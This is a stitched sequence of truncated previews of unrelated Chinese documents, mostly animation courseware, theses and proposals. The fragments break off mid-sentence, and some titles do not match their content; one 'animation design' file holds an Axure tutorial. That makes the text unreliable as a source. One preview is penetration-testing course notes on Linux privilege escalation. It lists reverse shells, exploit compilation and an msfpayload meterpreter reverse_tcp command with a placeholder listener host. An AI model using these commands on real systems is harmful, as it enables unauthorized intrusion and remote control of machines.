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lottie 动画在 vue 中的使用.docx
第
lottie动画在vue中的使用
loopComplete:当loop为true时,每次加载完成时触发
enterFrame:每进入一帧就会触发,播放时每一帧都会触发一次
segmentStart:每开始进入一帧就会触发,播放时每一帧都会触发一次
config_ready:config初始化时触发
data_ready:当动画的所有部分都加载完成时
DOMLoaded:当元素被添加到DOM中时
destroy:当动画被销毁时触发
封装基础组件
在vue中为了使用方便,可以封装为一个通用组件来使用。
template
component:is=props.tagref=container
s
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变形手法在动画短片《梦》中的运用.pdf
目录
第一章绪论1
一、研究目的及意义1
二、国内外研究现状1
三、研究方法4
第二章动画中变形艺术的运用6
一、单体变形6
(一)拉伸与压缩7
(二)加法与减法9
(三)位移与嫁接10
二、图形转换11
(一)人物角色转换13
(二)生物角色转换17
三、多种元素融合成一个图形20
四、一个图形分解成多个元素23
五、动态变形转场25
(一)正负形转场25
(二)动态元素遮盖转场26
(三)动态延伸转场27
第三章毕业设计《梦》中的动态变形29
一、动画短片《梦》的剧本设计及创作含义29
二、动画短片《梦》的前期策划30
(一)剧本构思30
(二)角色造型设计30
(三)场景设计31
三、变
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计算机动画生成技术课件.pptx
计算机动画生成技术课件20XX汇报人:XX有限公司
目录01计算机动画基础02关键帧动画技术03计算机图形学基础043D动画制作技术05动画软件工具介绍06动画生成技术的未来
计算机动画基础第一章
动画的定义与分类动画是通过连续播放一系列静态图像来模拟物体运动或变化的艺术和技术。动画的定义二维动画在平面上模拟运动,而三维动画则在三维空间中创建具有深度和体积的动画效果。二维动画与三维动画传统动画依赖手工绘制,而计算机动画使用软件生成图像,两者在制作流程上有本质区别。传统动画与计算机动画实时动画要求动画生成与播放同步进行,如视频游戏;非实时动画则可以预先渲染,如电影特效。实时动画与非实时动动画生成
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技术课件动画视频素材.pptx
技术课件动画视频素材有限公司20XX汇报人:XX
目录01动画视频素材的种类02动画视频素材的应用03动画视频素材的制作04动画视频素材的获取05动画视频素材的版权问题06动画视频素材的优化与管理
动画视频素材的种类01
二维动画素材手绘风格的二维动画素材以其独特的艺术魅力和个性化表达,广泛应用于教育和娱乐领域。手绘风格动画逐帧动画通过连续播放每一帧画面,创造出流畅的动作效果,适用于模拟复杂过程或动作。逐帧动画矢量图形动画因其可无限缩放而不失真,常用于制作图标、界面元素等技术课件动画视频素材。矢量图形动画010203
三维动画素材角色动画三维角色动画通过模拟真实动作,为视频增添生动性和互动性,
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基因工程动画课件PPT.pptx
基因工程动画课件PPT
有限公司
汇报人:XX
目录
第一章
基因工程基础
第二章
基因工程应用
第四章
基因工程伦理
第三章
基因工程技术
第六章
基因工程未来展望
第五章
基因工程案例分析
基因工程基础
第一章
基因工程定义
基因工程是通过人为方法直接操纵生物的遗传物质,实现特定基因的转移或修改。
基因工程的科学概念
基因工程广泛应用于农业、医药、工业等领域,如转基因作物的培育和基因治疗技术。
基因工程的应用领域
基因工程历史
1973年,斯坦利·科恩和赫伯特·博耶成功进行了首次基因克隆实验,开启了基因工程的新纪元。
基因克隆技术的诞生
1990年,人类基因组计划启动,旨在绘制人类基因组的
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狐狸和乌鸦 动画标准课件.pptx
单击此处添加副标题《狐狸和乌鸦》标准课件汇报人:
目录故事梗概壹角色分析贰道德寓意叁教学目标肆教学活动设计伍
壹故事梗概
故事起源与背景《狐狸和乌鸦》源自古希腊伊索寓言,是流传广泛的动物寓言故事。寓言的起源故事反映了古希腊社会对智慧与虚荣的思考,以及对动物特性的拟人化描述。文化背景随着时间的推移,不同文化对《狐狸和乌鸦》进行了改编,形成了多种版本。版本演变
主要情节介绍乌鸦在狐狸的奉承下保持警惕,最终没有让狐狸的诡计得逞。乌鸦的警惕狐狸用甜言蜜语骗取乌鸦的信任,企图得到乌鸦嘴里的肉。狐狸的诡计
结局与教训乌鸦的失败乌鸦因虚荣心被狐狸的甜言蜜语所欺骗,最终失去了嘴里的肉。狐狸的胜利寓意的现实意义
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工程三维动画定制方案(3篇).docx
第1篇
一、前言
随着科技的发展,三维动画技术在工程领域的应用越来越广泛。三维动画不仅可以直观地展示工程项目的全貌,还能模拟工程项目的运行过程,提高项目决策的准确性和效率。本方案旨在为客户提供一套全面、高效、专业的工程三维动画定制服务。
二、方案概述
1.项目背景
随着我国经济的快速发展,工程建设项目日益增多,对工程三维动画的需求也越来越大。为了满足客户的需求,我们提供以下工程三维动画定制方案。
2.服务内容
(1)项目前期沟通:了解客户需求,明确项目目标、范围、预算等。
(2)方案设计:根据客户需求,制定三维动画制作方案,包括动画风格、场景设计、角色设计等。
(3)三维建模:根据设计方案,进
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深化数字动画专业教学改革的背景意义及必要性.docx
泓域咨询
深化数字动画专业教学改革的背景意义及必要性
前言
随着技术的进步,数字动画的创作不仅依赖于传统的艺术设计与计算机编程,还需要更加注重与其他学科的融合,例如文学、音乐、心理学等。这种跨学科的融合将促使教学模式向多元化发展。在未来的教学中,除了传统的动画制作技巧与技术,还应加强对学科交叉的认知与应用能力的培养。例如,在创作过程中,如何通过心理学理解观众的情感反应,或是如何将音乐、声音与动画画面相结合,以增强作品的感染力,都是未来教学中需要深入探讨的方向。此类融合的推进不仅会提升学生的综合素质,还能帮助他们更好地适应快速变化的行业需求。
随着数字动画在游戏、影视、广告、教育等多个行业
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2025年动画设计项目提案报告.docx
动画设计项目提案报告
PAGE
PAGE1
动画设计项目提案报告
目录
TOC\o1-9概论 3
一、动画设计项目承办单位 3
(一)、动画设计项目承办单位基本情况 3
(二)、公司经济效益分析 5
二、经济效益分析 6
(一)、动画设计项目财务管理 6
(二)、盈利能力分析 8
(三)、运营有效性 11
(四)、财务合理性 12
(五)、风险可控性 13
三、运营模式分析 14
(一)、公司经营宗旨 14
(二)、公司的目标、主要职责 14
(三)、各部门职责及权限 15
四、市场分析 18
(一)、动画设计行业发展前景 18
(二)、动画设计产业链分析 19
(三)、动画设计项目市场营销
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动画走进课堂画笔扬帆起航.docx
动画走进课堂画笔扬帆起航
【摘要】随着美术新课标的实施,教师需要不断完善与创新教学方法,提高学生的美术素养。将动画资源融入美术教学,能够拓宽学生视野,引导学生全面欣赏和深入理解美术作品。本文就美术教学现状进行分析,探讨如何将动画资源有效地融入美术教学中,促进学生素质的全面发展。
【关键词】美术动画资源运用策略
动画深受学生喜爱,其美丽的画面效果、动感的音乐、活灵活现的人物形象等,在带给学生视觉冲击的同时,还能激发学生的学习兴趣。将动画资源引入教学中,可以丰富课堂的教学内容,吸引学生的注意,让学生更好地理解重难点,激发学生学习美术的兴趣。因此,教师要正确认识将动画资源引入美术教学的重要性,在美术
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打架动画安全教育.pptx
打架动画安全教育;目录;动画背景与目的;动画制作背景;预防打架斗殴;动画的教育目标;动画内容解析;;冲突场景分析;沟通与协商,通过有效的沟通解决误解和分歧,达成双方都能接受的解决方案。;动画教育效果;对幼儿的影响;教育方式拓展;对教育机构的影响;动画应用与推广;在幼儿园的应用;;将打架动画安全教育内容制作成公益广告,在公共场所播放,扩大受众范围。;动画评价与反馈;;动画质量;改进建议;动画未来展望;动画续集计划;;动画对其他教育领域的启示;THANKS
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康复护理动画教程.pptx
康复护理动画教程演讲人:日期:
目录02动画设计制作流程01康复护理概述03核心技术模块04典型应用场景05教学策略与呈现06效果评估与优化
01PART康复护理概述
基础概念与核心目标康复护理是康复医学的重要组成部分,以恢复患者身体功能和自理能力为目标。基础概念减轻患者疼痛、恢复身体功能、提高生活自理能力和生活质量。核心目标早期介入、全面康复、个体化治疗、循序渐进、持续性康复。康复护理原则
目标人群与适应症分类康复护理流程评估患者状况、制定康复计划、实施康复训练、评估效果、调整康复计划。03神经康复、运动康复、骨科康复、心肺康复、儿童康复等。02适应症分类目标人群残疾患者、慢性病患者、老年病
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本与动画同步讲解如需参考培训事项回复序列号十期课件.pdf
本文档与动画同步讲解,如需动画参考培训事项(回复序列号2获取)
作者:小迪
:xiaodisec
个人博客:
Linux提权
Metasploit之webshell提权
ms15-051exp提权
可读写
linuxexp提权
linuxmysql提权
ssh协议连接
反弹shell
linux提权相关命令:
id查看当前用户权限
uname-a查看系统内核版本
chmod-R777文件名赋予执行权限
gcc-oexpexp.c编译c文件
支持提权
aspphpaspxjsp
msfpayloadwindows/meterpreter/reverse_tcpLHOST=your_ip|
msf
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动画设计教学标准教案.pptx
动画设计教学标准教案汇报人:
目录01动画设计教学目标02动画设计教学内容03动画设计教学方法04动画设计评估标准
动画设计教学目标章节副标题01
培养创意思维通过编写原创动画剧本,激发学生的想象力和创造力,培养独特的故事构思能力。鼓励原创故事构思指导学生如何创造富有创意的动画场景,通过场景布局来增强故事的视觉冲击力。掌握动画场景布局教授学生如何设计具有个性和创意的角色,通过角色设计来表达故事主题和情感。学习动画角色设计通过色彩和光影的实验,让学生理解其在动画中表达氛围和情感的重要性,提升创意思维。实践色彩与光影运掌握动画制作流程熟悉并运用动画制作软件,如AdobeAfterEffects或T
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原画设计ppt_原创精品文档.pptx
Axure教程
汇报人:
CONTENTS
01
Axure基础操作
02
Axure高级功能
04
Axure设计原则
03
Axure项目应用
05
Axure最佳实践
Axure基础操作
01
界面概览
介绍Axure界面顶部的工具栏和菜单栏,包括常用功能如保存、导出等。
工具栏和菜单栏
解释页面面板和母版视图的区别,以及如何在两者之间切换和使用。
页面和母版视图
创建项目
打开Axure软件后,选择适合项目的模板,如Web、移动应用等。
01
在创建新项目时,填写项目名称、描述、目标平台等基本信息。
02
规划页面布局,创建必要的页面和母版页,为后续设计打下基础。
03
定期保存项目,
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退出开始警告炫目对战动画.pdf
Warning!!!
•Duetotheincurrenceofhighlatencyofthemovie,itisstronglyadvised
toendallrunningapplicationstopreventunnecessarydisturbances
affectingtheflowofthemovie.
•Forbetterqualityandperformance,enablethe“HardwareGraphics
Accelerati
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动画片课件介绍.pptx
动画片课件介绍20XX汇报人:XX有限公司
目录01动画片课件的定义02动画片课件的制作03动画片课件的教学效果04动画片课件的案例分析05动画片课件的未来趋势06动画片课件的资源获取
动画片课件的定义第一章
课件的概念课件是利用多媒体技术制作的互动性教学工具,能够提高学生的学习兴趣和参与度。互动性教学工具01课件将文字、图片、音频和视频等多种信息集成在一起,形成丰富的教学内容展示形式。内容的集成展示02
动画片课件的特点视觉吸引力互动性强动画片课件通过动画形式吸引学生参与,利用互动元素提高学习兴趣和效果。色彩鲜明、形象生动的动画设计能够迅速吸引学生的注意力,增强记忆点。信息密度适中动画片课件
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我喜欢的动画片中班标准教案.pptx
汇报人:我喜欢的动画片中班标准教案SimpleCreative
Contents目录01.动画片的选择04.教学方法02.教案设计03.教学目标05.互动环节06.评估反馈
PartOne动画片的选择
选择标准选择具有积极教育意义的动画片,如《熊出没》教导环保意识,适合中班儿童观看。教育意义01挑选适合中班年龄段儿童观看的动画片,例如《小猪佩奇》内容健康,语言简单易懂。适宜年龄02
适宜性分析选择动画片时,应确保内容健康,无暴力或不当语言,适合儿童观看。内容健康性0102挑选具有教育意义的动画片,如强调友谊、勇气和责任感等正面价值观。教育价值03根据幼儿的年龄特点选择动画片,确保其理解能力和兴
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多媒体技术05动画.pdf
第5章动画
动画(animation)是运动的艺术运动是动画的本质。
本章先介绍动画的基本原理、发展历史与主要应用,然后
解传统动画和计算机动画的基本内容。重点放在图形动画的
描述语言和计算机动画的制作上,主要介绍VRML、X3D和
SVG标准,以及位图动画和OpenGL的编程。
动画与电影和电视都是利用人的视觉滞留现象所产生的错觉来实现
连续运动视觉的。历史上,动画的发明要早于电影和电视。计算机动
画在电子和网络游戏、电影特技和动画片制作等方面起着决定性的作
用。
5.1.1视觉滞留原理
电影、电视与动画都是利用人的视觉滞留残[留/暂留](persistenceofvision)现象的原理来
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国内外动画研究现状述评.doc
国内外动画研究现状述评
民族艺术研究.
国内外动画研究现状述评
I---1徐贤如,于春丽
摘要:从20世纪初起,国内外出版了许多动画研究专着,这些专着各有侧重,分别从动
画史,动画文化,艺术和美学,动画产业,动画创作及制作环节,迪斯尼公司及其经典动画等
方面对动画进行研究.目前中国的动画理论研究主要从技术,技艺的角度进行或者从经济,传
媒的角度研究动画产业的开发建设问题,对动画本质未能进行系统地分析和研究.8O年代以
来,国外的动画理论研究由现象研究转向了深层结构研究,从单独文本分析转向整体文化研
究,从传播者研究转向受众研究,并借鉴文化批评理论,结构主义理论等对动画片进行分析
研究.
关键词
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